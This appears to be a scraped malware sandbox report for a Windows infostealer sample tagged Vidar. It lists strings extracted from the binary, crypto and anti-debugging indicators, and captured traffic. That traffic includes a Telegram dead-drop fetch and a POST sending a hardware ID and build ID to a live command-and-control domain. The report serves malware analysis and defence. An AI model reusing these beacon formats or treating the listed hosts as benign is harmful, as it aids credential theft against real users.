power of 10 is out of range" (Indicator: "n is not zerocrypto/sha256: invalid hash state identifierreflect: funcLayout with interface receiver using value obtained using unexported fieldencoding alphabet contains newline characterencoding alphabet includes duplicate symbolsmult128bitPow10: power of 10 is out of range") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "efersfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= non-empty pointer map passed for non-pointer-size valuesruntime: checkmarks found unexpected unmarked object obj=crypto/drbg: internal error: request size exceeds maximum" (Indicator: "efersfailed to allocate aligned heap memory; too many retriesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: NtAssociateWaitCompletionPacket failed; errno= non-empty pointer map passed for non-pointer-size valuesruntime: checkmarks found unexpected unmarked object obj=crypto/drbg: internal error: request size exceeds maximum") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/sysrand.fatal" (Indicator: "crypto/internal/sysrand.fatal") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140deps/cpu.init" (Indicator: "crypto/internal/fips140deps/cpu.init") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/impl.Register" (Indicator: "crypto/internal/impl.Register") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "type:.eq.crypto/internal/impl.implementation" (Indicator: "type:.eq.crypto/internal/impl.implementation") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "type:.eq.crypto/internal/fips140/sha256.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha256.Digest") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "type:.eq.crypto/internal/fips140/sha3.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha3.Digest") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/sysrand.warnBlocked" (Indicator: "crypto/internal/sysrand.warnBlocked") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/sysrand.Read" (Indicator: "crypto/internal/sysrand.Read") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/sysrand.read" (Indicator: "crypto/internal/sysrand.read") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/sysrand.Read.deferwrap1" (Indicator: "crypto/internal/sysrand.Read.deferwrap1") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/entropy.Depleted" (Indicator: "crypto/internal/entropy.Depleted") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140only.init" (Indicator: "crypto/internal/fips140only.init") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/sha256.init.0" (Indicator: "crypto/sha256.init.0") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/sha256.New" (Indicator: "crypto/sha256.New") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140/sha256.New" (Indicator: "crypto/internal/fips140/sha256.New") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin2c:T1a4a,Contains base64 string in header "Keep" in header "GET /w09ksp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "Encoding" in header "GET /w09ksp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "gzip" in header "GET /w09ksp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "Language" in header "GET /w09ksp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "telegram" in header "GET /w09ksp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news" Contains base64 string in header "news" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: juj.realmadridiran.news"2d:T42b,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to decrypt/decode data Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match - AES encryption2e:Tf43,Found XOR loop in file "sample.bin" at offset 95346; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1563592; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1573684; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1721964; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1801324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1836752; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1925996; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1957971; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2210871; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2310764; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2376460; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2483696; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2545591; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2895010; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1585536; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2367647; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2444204; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2491728; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2550011; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2967000; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3131092; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 191958; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 229769; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230129; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230529; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 232691; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 255281; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 275408; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 418661; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 419357; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 419998; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 430377; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1351136; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1481556; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1581291; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1703612; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1749980; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1866595; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1899196; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1991388; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2074393; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2141491; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2166588; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2377372; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2504392; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2557163; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2734921; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2995944; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3063128; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3186536; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3361096; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3367276; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3420954; code bytes = 80302f:T469,Found system information discovery API: "GetSystemInfo" in file "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin" Found system information discovery API: "GetEnvironmentStringsW" in file "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin" Found system information discovery API: "ExpandEnvironmentStrings (in long string)" in file "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin" Found system information discovery API: "RtlNtStatusToDosError (in long string)" in file "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin" Found system information discovery API: "internal/syscall/windows/registry.procExpandEnvironmentStringsW" in file "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in file "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin"30:T9f2,"status is not in scan state is currently not supported for use in system callbacksreflect: internal error: invalid use of makeMethodValueptrEncoder.encode should have emptied ptrSeen via d" in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin ": non-concurrent sweep failed to drain all sweep queuesruntime: NtCancelWaitCompletionPacket failed; errno= exited a goroutine internally locked to the OS threadcompileCallback: argument size is larger than uintptrreflect: non-interface type passed to Type.Implementssmall map with no empty slot (concurrent map writes?)runtime.m memory alignment too small for spinbit mutexmin size of malloc header is not a size class boundarygcControllerState.findRunnable: blackening not enabledno goroutines (main called runtime.Goexit) - deadlock!trace: non-empty full trace buffer for done generationtrace: non-empty full trace buffer for next generationgoroutine running on other thread; stack unavailableSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesmheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbacksreflect: internal error: invalid use of makeMethodValueptrEncoder.encode should have emptied ptrSeen via" in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin36:T40c,"GET /w09ksp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0 Host: telegram.me" Response ==> HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Sat 04 Jul 2026 20:57:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4425 Connection: keep-alive Set-Cookie: stel_ssid=0e4f2b67667ce7184c_10150271601089686354; expires=Sun 05 Jul 2026 20:57:26 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Content-Encoding: gzip Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C.......37:T8b5," "------9ae7ac023e30b0217868Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-C4859B7------9ae7ac023e30b0217868Content-Disposition: form-data; name="build_id"53bb21b8b1835cd5c8ca23f70d237474------9ae7ac023e30b0217868Content-Disposition: form-data; name="format"json------9ae7ac023e30b0217868--" HTTP/1.1 200 OK Date: Sat 04 Jul 2026 20:57:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=9 cfOrigin;dur=263 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=JC9q2%2Fj70Oka1SKw7rGLR5kVJzKcKBYbWf7OMn7KhfXch9GneWg0gys2y4lq%2BVlCA72azA3PyAey9sV0vWTWCbVy5cW3W3VEHyIRFkfwFcWd4%2BlcUpjZrL1NUQM3ycqy%2FnY%2BXv3EwSSwOw%3D%3D"}]} Content-Encoding: gzip CF-RAY: a1610ad2b9e9545f-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B.......47:Td0c," tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin\" has section name .rdata with entropy \"7.055209194382544\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Sets the 'ThreadHideFromDebugger' thread data structure","description":"\" \"------9ae7ac023e30b0217868Content-Disposition: form-data; name=\"hwid\"23EBD35BE7F8D3C20DA4-d27478a5-2058-C4859B7------9ae7ac023e30b0217868Content-Disposition: form-data; name=\"build_id\"53bb21b8b1835cd5c8ca23f70d237474------9ae7ac023e30b0217868Content-Disposition: form-data; name=\"format\"json------9ae7ac023e30b0217868--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"}],"sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":51,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["commodity","vidarstealer","credentialharvesting","criminal","informationstealer","downloader","evasive","suspicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6a4973991db5339c190fc27b","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":87,"malware_family":"Loader.uh","contacted_countries":["GBR"],"submit_name":"0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin","analysis_start_time":"2026-07-04T20:56:58+00:00","indicators_count":{"informative":151,"suspicious":26,"malicious":3},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"address":"104.21.49.89","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}],"dns_resolutions":[{"domain":"juj.realmadridiran.news","address":"104.21.49.89","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"domain":"telegram.me","address":"149.154.167.99","ttl":9,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}],"http_requests":[{"host":"telegram.me","host_ip":"149.154.167.99:443","url":"/w09ksp","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /w09ksp HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0\nHost: telegram.me","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"host":"juj.realmadridiran.news","host_ip":"104.21.49.89:443","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----9ae7ac023e30b0217868\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0\nContent-Length: 345\nHost: juj.realmadridiran.news","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}],"processes":[{"pid":5604,"ppid":0,"name":"0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin.exe","command_line":"","sha256":"0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724","normalized_path":"C:\\0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin.exe","uid":"00000000-00005604","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["cfgmgr32.dll","mswsock.dll","winnsi.dll","user32.dll","oleaut32.dll","webio.dll","IPHLPAPI.DLL","rasadhlp.dll","FWPUCLNT.DLL","schannel.dll","crypt32.dll","gdi32full.dll","msvcrt.dll","combase.dll","winmmbase.dll","msasn1.dll","mskeyprotect.dll","gpapi.dll","imm32.dll","powrprof.dll","VxSSL64.dll","msvcp_win.dll","advapi32.dll","sechost.dll","winhttp.dll","rsaenh.dll","kernel32.dll","cryptsp.dll","nsi.dll","ncryptsslp.dll","cryptbase.dll","ucrtbase.dll","bcryptprimitives.dll","sspicli.dll","dpapi.dll","ws2_32.dll","winmm.dll","OnDemandConnRouteHelper.dll","apphelp.dll","rpcrt4.dll","fltLib.dll","win32u.dll","bcrypt.dll","dnsapi.dll","ncrypt.dll","ntasn1.dll","ntdll.dll","KernelBase.dll","gdi32.dll","ole32.dll","shlwapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]},{"name":"Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a4973991db5339c190fc27b"}]}]}},"report_ids":{"sandbox_job_ids":["6a4973991db5339c190fc27b"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_90% Sample 0ea72062143e… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0ea72062143e…. Malware family: Win/malicious_confidence_90%. Threat score 87/100. 3/27 AV engines flagged this file. 3 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_90% Sample 0ea72062143e… — Score 87/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0ea72062143e…. Malware family: Win/malicious_confidence_90%. Threat score 87/100. 3/27 AV engines flagged this file. 3 malicious and 14 suspicious behavioral indicators. View 